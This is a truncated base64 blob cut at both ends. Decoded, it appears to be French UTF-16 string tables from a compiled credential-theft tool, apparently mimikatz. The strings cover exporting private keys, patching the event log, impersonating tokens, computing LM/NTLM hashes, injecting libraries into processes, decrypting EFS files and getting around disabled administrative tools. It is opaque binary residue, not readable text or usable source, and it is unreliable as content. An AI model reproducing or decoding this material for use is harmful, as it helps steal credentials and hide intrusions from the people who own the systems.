BjAGwA6QBzACAAbgBvAG4AIABlAHgAcABvAHIAdABhAGIAbABlAAAAcABhAHQAYwBoAGMAYQBwAGkAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMAcgB5AHAAdABvAEEAUABJACAAOgAAAG0AbwBkAF8AYwByAHkAcAB0AG8AYQBwAGkAOgA6AGcAZQB0AFYAZQBjAHQAbwByAFAAcgBvAHYAaQBkAGUAcgBzACAAOgAgAAAAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMATgBHACAAOgAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvAG4AZwA6ADoAZwBlAHQAVgBlAGMAdABvAHIAUAByAG8AdgBpAGQAZQByAHMAIAA6ACAAAABFAG0AcABsAGEAYwBlAG0AZQBuAHQAIAA6ACAAJwAAAG0AbwBkAF8AYwByAHkAcAB0AG8AOgA6AGcAZQB0AEwAaQBzAHQAUwB5AHMAdABlAG0AUwB0AG8AcgBlAHMAIAA6ACAAAAAAACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlACAAIQAAAAAARQByAHIAZQB1AHIAIABkACcAYQByAGcAdQBtAGUAbgB0AHMALAAgAGEAdAB0AGUAbgBkAHUAIAA6ACAAWwBtAGEAYwBoAGkAbgBlAF0AIABbAHAAcgBvAHYAaQBkAGUAcgAgAHAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAF0AAABtAGEAYwBoAGkAbgBlAAAAdQBzAGUAcgAAAAAAXQAgAEMAbADpAHMAIABDAHIAeQBwAHQAbwBBAFAASQAgADoAAAAAAFsAAAAJACAALQAgAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAATwBVAEkAAABOAE8ATgAAAAkACQBFAHgAcABvAHIAdABhAGIAaQBsAGkAdADpACAAOgAgAAAAAAAJAAkAVABhAGkAbABsAGUAIABjAGwA6QAgACAAIAAgADoAIAAAAAAALgBwAHYAawAAAAAAYwBhAHAAaQBfAAAAJwAgADoAIAAAAAAACQAJAEUAeABwAG8AcgB0ACAAcAByAGkAdgDpACAAZABhAG4AcwAgACAAJwAAAAAACQAJAAkAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAUAByAGkAdgBhAHQAZQBLAGUAeQAvAFAAcgBpAHYAYQB0AGUASwBlAHkAQgBsAG8AYgBUAG8AUABWAEsAIAA6ACAAAAAAAAkACQAqACAARQByAHIAZQB1AHIAIABkAGUAIABjAGwA6QAgADsAIAAAAAAAAAAAAAkACQAqACAARQByAHIAZQB1AHIAIABkACcAYQBjAHEAdQBpAHMAaQB0AGkAbwBuACAAZABlACAAbABhACAAYwBsAOkAIAA7ACAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAVgBlAGMAdABvAHIAQwBvAG4AdABhAGkAbgBlAHIAcwAgADoAIAAAAF0AIABDAGwA6QBzACAAQwBOAEcAIAA6AAAAAABjAG4AZwBfAAAAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAAAAJAAkACQBtAG8AZABfAGMAcgB5AHAAdABvAG4AZwA6ADoAZwBlAHQAUAByAGkAdgBhAHQAZQBLAGUAeQAvAFAAcgBpAHYAYQB0AGUASwBlAHkAQgBsAG8AYgBUAG8AUABWAEsAIAA6ACAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBuAGcAOgA6AGcAZQB0AFYAZQBjAHQAbwByAEMAbwBuAHQAYQBpAG4AZQByAHMAIAA6ACAAAAAAAE0AeQAAAAAAXAAAAFsAZQBtAHAAdAB5AF0AAAAJAAkAQwBvAG4AdABhAGkAbgBlAHIAIABDAGwA6QAgADoAIAAAAAAACQAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAA6ACAAAAAAAAkACQAJAEUAcgByAGUAdQByACAAOgAgAEMAbADpACAAZABlACAAdAB5AHAAZQAgAG4AQwByAHkAcAB0ACwAIABzAGEAbgBzACAAbgBDAHIAeQBwAHQAIAA/AAAAcABmAHgAAAAJAAkACQAAAAAAAABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgADoAIAAAAAAAZABlAHIAAAAJAAkARQB4AHAAbwByAHQAIABwAHUAYgBsAGkAYwAgAGQAYQBuAHMAIAAnAAAAAABDAGUAcgB0AE8AcABlAG4AUwB0AG8AcgBlACAAOgAgAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABDUEV4cG9ydEtleQAAAAAAUABhAHQAYwBoACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUABhAHQAYwBoACAAQwBSAFkAUABUAF8ARQBYAFAATwBSAFQAQQBCAEwARQAgAHwAIABDAFIAWQBQAFQAXwBBAFIAQwBIAEkAVgBBAEIATABFACAAOgAgAAAAAAAAAAAAUABhAHQAdABlAHIAbgBzACAAQwBSAFkAUABUAF8ARQBYAFAATwBSAFQAQQBCAEwARQAgAHwAIABDAFIAWQBQAFQAXwBBAFIAQwBIAEkAVgBBAEIATABFACAAZQB0ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgAHQAcgBvAHUAdgDpAHMAIAAhAAAAAABuAGMAcgB5AHAAdAAuAGQAbABsAAAAAABuAGMAcgB5AHAAdABwAHIAbwB2AC4AZABsAGwAAAAAAEsAZQB5AEkAcwBvAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAGkAbgBpAHQAaQBhAGwAaQBzAGUAcgAgAGwAYQAgAEMATgBHACAAOgAgAAAAAABQAGEAcwAgAGQAZQAgAEMATgBHACAAPwAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgAHAAbwB1AHIAIABuAGUAIABwAGwAdQBzACAAcwB1AHAAZQByAHYAaQBzAGUAcgAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAZQAgAHIAbwB1AHQAYQBnAGUAAAAAAG4AbwByAG8AdQB0AGUAbQBvAG4AAAAAAAAAAABbAHMAdQBwAGUAcgAgAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsACcAbwBiAHMAZQByAHYAYQB0AGUAdQByACAAZAAnAOkAdgDpAG4AZQBtAGUAbgB0AHMAIABwAG8AdQByACAAbgBlACAAcABsAHUAcwAgAHIAaQBlAG4AIABlAG4AcgBlAGcAaQBzAHQAcgBlAHIAAABlAHYAZQBuAHQAZAByAG8AcAAAAAAAAABQAGEAdABjAGgAIABsAGUAIABiAG8AdQB0AG8AbgAgAGEAbgBuAHUAbABlAHIAIABkAGUAIABXAGkAbgBkAG8AdwBzACAAWABQACAAZQB0ACAAMgAwADAAMwAgAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABwAG8AdQByACAAZADpAHYAZQByAHIAbwB1AGkAbABsAGUAcgAgAHUAbgBlACAAcwBlAHMAcwBpAG8AbgAAAGMAYQBuAGMAZQBsAGEAdABvAHIAAAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAHMAZQBjAHIAZQB0AHMAIAB1AHQAaQBsAGkAcwBhAHQAZQB1AHIAAABzAGUAYwByAGUAdABzAAAAQQBuAHQAaQAtAGQA6QB0AG8AdQByAHMAIABTAFIAAAA6AG4AbwBkAGUAdABvAHUAcgAAAAAAAABEAOkAYwBoAGkAZgBmAHIAZQAgAGwAZQBzACAAZgBpAGMAaABpAGUAcgBzACAAUABJAFQAIAAoAFEAdQBlAHMAdAAgAHYAVwBvAHIAawBzAHAAYQBjAGUAIABDAGwAaQBlAG4AdAApAAAAAAA6AHAAaQB0AG0AZQAAAAAATnRPcGVuUHJvY2VzcwAAAEQA6QB0AG8AdQByACAAdAByAG8AdQB2AOkAIABlAHQAIAAAAHAAYQB0AGMAaADpACAAOgApAAAATgBPAE4AIABwAGEAdABjAGgA6QAgADoAKAAAAEQA6QB0AG8AdQByACAAbgBvAG4AIAB0AHIAbwB1AHYA6QAAAHcAaQBuAGwAbwBnAG8AbgAuAGUAeABlAAAAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABOAG8AbQBiAHIAZQAgAGQAZQAgAHMAZQBjAHIAZQB0AHMAIAA6ACAAAAAAAEcARQBOAEUAUgBJAEMAAABEAE8ATQBBAEkATgBfAFAAQQBTAFMAVwBPAFIARAAAAEQATwBNAEEASQBOAF8AQwBFAFIAVABJAEYASQBDAEEAVABFAAAAAABEAE8ATQBBAEkATgBfAFYASQBTAEkAQgBMAEUAXwBQAEEAUwBTAFcATwBSAEQAAABHAEUATgBFAFIASQBDAF8AQwBFAFIAVABJAEYASQBDAEEAVAAAAAAARABPAE0AQQBJAE4AXwBFAFgAVABFAE4ARABFAEQAAAA/AAAAQwByAGUAZABlAG4AdABpAGEAbAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAEMAbwBtAG0AZQBuAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgAC8AIAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAQwByAGUAZABFAG4AdQBtAGUAcgBhAHQAZQAgADoAIAAAAAAAgFvoGG9kiTo0zlnfTbRaD2mUWHBxSxfPw0Cq/MXgIduaSWi4L0ps3HqLf1wDCP45o8Yxpoy9cqSKG5LVh614j1WWCzCoQ1OwYqDafBONXYHAjpCI5Ld2wrUEk6Wpnqv1N6yZJuI4heF0dzLlkSOxEExHP76CImpR0GN1ETOb+zvK7d1E5hJOlzx5T0FmulAOyWsF7m7nlXtgnf/EKYa5fZjInDW7vO/6PQb5Nr8+fqLHVq7Lr+lCYfAd/WWfUifqJKGnsm0Us0X4tvdzwYOE9MzN8+NUFdFGB1cs0tPW1Nf269gcAAnsZwrZFt7x8gEtXkgCDF8NGRooHh8gJSorLlBJVAAAAAAAZABpAHYAZQByAHMAOgA6ADoAcABpAHQAbQBlACAAZgBpAGwAZQAuAHAAaQB0ACAAWwBmAGkAbABlAC4AcgBkAHAAXQAAAAAAIAAqACAATwB1AHYAZQByAHQAdQByAGUAIABlAG4AIABsAGUAYwB0AHUAcgBlACAAZAB1ACAAZgBpAGMAaABpAGUAcgAgACcAAAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMQAgADoAIAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMgAgADoAIAAAACAAKgAgAEUAbgAtAHQA6gB0AGUAIAA6ACAAAAAgACoAIABPAHUAdgBlAHIAdAB1AHIAZQAgAGUAbgAgAOkAYwByAGkAdAB1AHIAZQAgAGQAdQAgAGYAaQBjAGgAaQBlAHIAIAAnAAAAdwBiAAAAAAAgACoAIABEAG8AbgBuAOkAZQBzACAAOgAgAAAAIAAhAD0AIAAAAAAASwBPACAALQAgAGQAaQBmAGYA6QByAGUAbgB0ACAAZABlACAAJwBQAEkAVAAnACAAOwAgAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABiAGEAcwBpAHEAdQBlAHMAIABzAHUAcgAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpAAAAAABpAG4AZgBvAHMAAABBAGYAZgBpAGMAaABlACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHQAcgDoAHMAIABkAOkAdABhAGkAbABsAOkAZQBzACAAcwB1AHIAIAB1AG4AIABmAGkAYwBoAGkAZQByACAAYwBoAGkAZgBmAHIA6QAAAGYAdQBsAGwAAAAAAAAAAABEAHUAbQBwACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAARQBGAFMAIABkACcAdQBuACAAZgBpAGMAaABpAGUAcgAgAGMAaABpAGYAZgByAOkAIAB2AGUAcgBzACAAdQBuACAAZgBpAGMAaABpAGUAcgAgAGIAcgB1AHQAAAAAAHQAbwByAGEAdwAAAFUAdABpAGwAaQBzAGEAdABlAHUAcgAoAHMAKQAgAGQA6QBjAGwAYQByAOkAKABzACkAIAA6ACAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFUAcwBlAHIAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG8AdQB2AHIAZQBtAGUAbgB0ACAAIAA6ACAAAAAAAAAAAABFAHIAcgBlAHUAcgAgAFEAdQBlAHIAeQBSAGUAYwBvAHYAZQByAHkAQQBnAGUAbgB0AHMATwBuAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAIAA6ACAAAAAAAEUARgBTACAATQBlAHQAYQBkAGEAdABhAAAAAABEAEEAVABBAAAAAAAgACoAIABUAHkAcABlACAAIAAgADoAIAAAAAAAKABFAEYAUwAgAE0AZQB0AGEAZABhAHQAYQAgAHMAdAByAGUAYQBtACkAAAAgACoAIABOAG8AbQAgACAAIAAgADoAIAAAAAAAIAAqACAARgBsAGEAZwAgACAAIAA6ACAAAAAAACAAKgAgAFQAYQBpAGwAbABlACAAOgAgAAAAAABNAGEAcgBzAGgAYQBsAGUAZAAgAFMAdAByAGUAYQBtACAAOgAAAAAARABhAHQAYQBTAGUAZwBtAGUAbgB0ACAAOgAgAAAAAAAgACAARQBGAFMAIABNAGUAdABhAGQAYQB0AGEAIAA6AAAAAAAgACAAIAAqACAAVgBlAHIAcwBpAG8AbgAgAEUARgBTACAAOgAgAAAAAAAAACAAIAAgACoAIABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAKABzACkAIABkAOkAYwBsAGEAcgDpACgAcwApACAAOgAAAAAAAAAAACAAIAAgACoAIABBAGcAZQBuAHQAKABzACkAIABkAGUAIAByAGUAYwBvAHUAdgByAGUAbQBlAG4AdAAgACAAOgAAAAAAIAAgAEQAQQBUAEEAIAA6AAAAAAAgACAARABBAFQAQQAgAFMAZQBnAG0AZQBuAHQAIABFAG4AYwByAHkAcAB0AGkAbwBuACAASABlAGEAZABlAHIAIAA6AAAAAAAgACAAIAAqACAATgB1AG0AYgBlAHIATwBmAEQAYQB0AGEAQgBsAG8AYwBrAHMAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQwBsAHUAcwB0AGUAcgBTAGgAaQBmAHQAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQwBoAHUAbgBrAFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAARABhAHQAYQBVAG4AaQB0AFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFYARABMACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFMAdAByAGUAYQBtAFMAaQB6AGUAIAA6ACAAAAAgACAAIAAqACAAUwB0AGEAcgB0AGkAbgBnAEYAaQBsAGUAXwBPAGYAZgBzAGUAdAAgACAAIAA6ACAAAAAgACAAIAAqACAATABlAG4AZwB0AGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAARQB4AHQAZQBuAGQAZQBkACAASABlAGEAZABlAHIAIABGAGwAYQBnACAAIAA6ACAAAAAgADsAIAB0AGEAaQBsAGwAZQAgADoAIAAAAAAAIAAgACAAIAAtAD4AIABCAGwAbwBjAGsAIAAAAFQATwBEAE8AIABEAGEAdABhAAAARQByAHIAZQB1AHIAIABSAGUAYQBkAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAUgBhAHcAIAA6ACAAAAAAAEUAcgByAGUAdQByACAATwBwAGUAbgBFAG4AYwByAHkAcAB0AGUAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAZQAgADoAIAAAAFYAZQByAHMAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAIAAqACAARQB4AHAAbwByAHQAIABPAEsAAAAAAAAAAAAqACAARQByAHIAZQB1AHIAIABSAGUAYQBkAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAUgBhAHcAIAA6ACAAAAAAACAAKgAgAEgAYQBzAGgAIABkAHUAIABjAGUAcgB0AGkAZgBpAGMAYQB0ACAAOgAgAAAAAAAgACoAIABOAG8AbQAgAHMAaQBtAHAAbABlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAIAAqACAATgBvAG0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAALQAgAEwAZQBjAHQAdQByAGUAIABkACcAdQBuACAAYgBsAG8AYwAgAGQAZQAgADoAIAAAAAAAIAA6AAAAAAAgACAAIAAgAEMAaABhAG0AcAAgAGQAZQAgAGQAbwBuAG4A6QBlAHMAIAAAACAAIAAgACAAIAAqACAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAIAAgACAAIAAgACAALQA+ACAARABvAG4AbgDpAGUAcwAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFQAYQBpAGwAbABlACAAIAA6ACAAAAAgACAAIAAgACAAKgAgAEYARQBLACAAKABjAGgAaQBmAGYAcgDpAGUAKQAgADoAIAAAAAAAIAAgACAAIAAgACoAIABGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAAIAAgACAAIAAgAC0APgAgAE4AbwBtACAAYQBmAGYAaQBjAGgA6QAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEUAbQBwAHIAZQBpAG4AdABlACAAIAAgADoAIAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAGgAYQBuAGQAbABlAHMAIABkAHUAIABzAHkAcwB0AOgAbQBlACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABqAHUAcwB0AGUAIABsAGUAcwAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQB0ACAAdABvAGsAZQBuAHMAKQAAAGwAaQBzAHQAAAAAAEUAcwBzAGEAeQBlACAAZABlACAAcwB0AG8AcABwAGUAcgAgAHUAbgAgAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACAAcAByAG8AYwBlAHMAcwB1AHMAIABlAG4AIAB1AHQAaQBsAGkAcwBhAG4AdAAgAGQAJwBhAHUAdAByAGUAcwAgAGgAYQBuAGQAbABlAHMAAABwAHIAbwBjAGUAcwBzAFMAdABvAHAAAAAAAAAARQBzAHMAYQB5AGUAIABkACcAaQBtAHAAZQByAHMAbwBuAGEAbABpAHMAZQByACAAdQBuACAAdABvAGsAZQBuACAAZQBuACAAdQB0AGkAbABpAHMAYQBuAHQAIABkACcAYQB1AHQAcgBlAHMAIABoAGEAbgBkAGwAZQBzAAAAAAB0AG8AawBlAG4ASQBtAHAAZQByAHMAbwBuAGEAdABlAAAAAAAAAAAAUABvAHMAaQB0AGkAbwBuAG4AZQAgAHUAbgBlACAAQQBDAEwAIABuAHUAbABsACAAcwB1AHIAIABkAGUAcwAgAEgAYQBuAGQAbABlAHMAAABuAHUAbABsAEEAYwBsAAAAdABvAGsAZQBuAAAAIAAgAAAAAAAgAC0APgAgAAAAAABtAG8AZABfAHMAeQBzAHQAZQBtADoAOgBnAGUAdABTAHkAcwB0AGUAbQBIAGEAbgBkAGwAZQBzACAAOwAgAAAACQBUAGUAcgBtAGkAbgBhAHQAZQAgAFAAcgBvAGMAZQBzAHMAIAAtACAAAAAJAEoAbwBiACAAOgAgAAAASwBPACAAOwAgAAAAVABlAHIAbQBpAG4AYQB0AGUASgBvAGIATwBiAGoAZQBjAHQAIAAtACAAAAAAAAAAQQBzAHMAaQBnAG4AUAByAG8AYwBlAHMAcwBUAG8ASgBvAGIATwBiAGoAZQBjAHQAIAAtACAASwBPACAAOwAgAAAAAABOdFNldEluZm9ybWF0aW9uUHJvY2VzcwBvAGsAIAAhACEAAABrAG8AIAAtACAASQBtAHAAZQByAHMAbwBuAGEAdABlAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByACAAOwAgAAAAawBvACAALQAgAG0AbwBkAF8AcwBlAGMAYQBjAGwAOgA6AGUAeABjAGgAYQBuAGcAZQBEAHUAcABUAG8AawBlAG4AIAA7ACAAAAAAAE4AVQBMAEwAIAAhAAAAAAAJAAkAAAAAAAAAAABIAGEAcwBoACAATABhAG4ATQBhAG4AYQBnAGUAcgAgACgATABNACkAIABkACcAdQBuAGUAIABjAGgAYQDuAG4AZQAgAGQAZQAgAGMAYQByAGEAYwB0AOgAcgBlAHMAAABsAG0AAAAAAEgAYQBzAGgAIABOAFQAIABMAGEAbgBNAGEAbgBnAGUAcgAgACgATgBUAEwATQApACAAZAAnAHUAbgBlACAAYwBoAGEA7gBuAGUAIABkAGUAIABjAGEAcgBhAGMAdADoAHIAZQBzAAAAbgB0AGwAbQAAAAAAJwApACAAPQAgAAAATABNACgAJwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABjAGEAbABjAHUAbAAgAGQAdQAgAGgAYQBzAGgAIABMAE0AAABOAFQATABNACgAJwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABjAGEAbABjAHUAbAAgAGQAdQAgAGgAYQBzAGgAIABOAFQATABNAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAFAASQBEAAAAcABpAGQAAABJAG4AagBlAGMAdABlACAAdQBuAGUAIABsAGkAYgByAGEAaQByAGkAcgBlACAAYwBvAG0AbQB1AG4AaQBjAGEAbgB0AGUAIABkAGEAbgBzACAAdQBuACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAHMAZQByAHYAaQBjAGUAAAApAC4AdABoADMAMgBQAHIAbwBjAGUAcwBzAEkARAAgAD0AIAAAAAAAUABSAE8AQwBFAFMAUwBFAE4AVABSAFkAMwAyACgAAAAnACAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBQAHIAbwBjAGUAcwBzAEYAbwByAE4AYQBtAGUAIAA6ACAAAABUAHIAbwBwACwAIABvAHUAIABwAGEAcwAgAGQAZQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAOgAgACcAAAApAC4AcwBlAHIAdgBpAGMAZQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAA9ACAAAABTAEUAUgBWAEkAQwBFACgAAAAAAAAAAAApAC4AUwBlAHIAdgBpAGMAZQBTAHQAYQB0AHUAcwBQAHIAbwBjAGUAcwBzAC4AZAB3AFAAcgBvAGMAZQBzAHMASQBkACAAPQAgAAAAAAAAACcAIAA7ACAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAABTAGUAcgB2AGkAYwBlACAAdQBuAGkAcQB1AGUAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAIAA6ACAAJwAAAAAALgAAAGsAaQB3AGkAXABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAQQB0AHQAZQBuAHQAZQAgAGQAZQAgAGMAbwBuAG4AZQB4AGkAbwBuACAAZAB1ACAAYwBsAGkAZQBuAHQALgAuAC4AAABTAGUAcgB2AGUAdQByACAAYwBvAG4AbgBlAGMAdADpACAA4AAgAHUAbgAgAGMAbABpAGUAbgB0ACAAIQAAAAAATQBlAHMAcwBhAGcAZQAgAGQAdQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAOgAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlACAAcAByAGUAbQBpAGUAcgAgAG0AZQBzAHMAYQBnAGUAIAAhACAAOwAgAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAHUAbgAgAGMAYQBuAGEAbAAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBvAG4AIAAhACAAOwAgAAAASQBuAGoAZQBjAHQA6QAgAHMAYQBuAHMAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuACAAKABsAGUAZwBhAGMAeQApAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AagBlAGMAdABlAHIAIAAhACAAOwAgAAAARQByAHIAZQB1AHIAIAA6ACAAdQBuACAAYwBhAG4AYQBsACAAZABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABvAG4AIABlAHMAdAAgAGQA6QBqAOAAIABvAHUAdgBlAHIAdAAAAAAAAABGAGUAcgBtAGUAdAB1AHIAZQAgAGQAdQAgAGMAYQBuAGEAbAAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBvAG4AAABPAGIAdABpAGUAbgB0ACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHMAdQByACAAbABlACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAQwBoAGEAbQBwACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAAYwBvAGwAbwBuAG4AZQBzAAAAIABsAGkAZwBuAGUAcwAgAHgAIAAAAAAARABpAG0AZQBuAHMAaQBvAG4AIAAgACAAIAAgACAAIAA6ACAAAAAAAE0AaQBuAGUAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAGQAdQAgAHAAbABhAHQAZQBhAHUAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAGQAbwBuAG4A6QBlAHMAIABkAHUAIABqAGUAdQAAAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAA6QBsAGUAbQBlAG4AdABzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIAByAOkAZgDpAHIAZQBuAGMAZQBzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAHIA6QBmAOkAcgBlAG4AYwBlAHMAIABkAGUAcwAgAGMAbwBsAG8AbgBuAGUAcwAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAHIA6QBmAOkAcgBlAG4AYwBlAHMAIABkAGUAIABsACcA6QBsAGUAbQBlAG4AdAAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABMAGEAbgBjAGUAIAB1AG4AIADpAGQAaQB0AGUAdQByACAAZABlACAAcgBlAGcAaQBzAHQAcgBlACwAIABpAGcAbgBvAHIAYQBuAHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAByAGUAZwBlAGQAaQB0AAAATABhAG4AYwBlACAAdQBuAGUAIABpAG4AdgBpAHQAZQAgAGQAZQAgAGMAbwBtAG0AYQBuAGQAZQAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAAAAGMAbQBkAAAAAAAAAEwAYQBuAGMAZQAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAdABhAGMAaABlACwAIABpAGcAbgBvAHIAYQBuAHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAB0AGEAcwBrAG0AZwByAAAATABhAG4AYwBlACAATwB1AHQAbABvAG8AawAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBQAHMAdAAAAAAAbwBsAHAAcwB0AAAASwBpA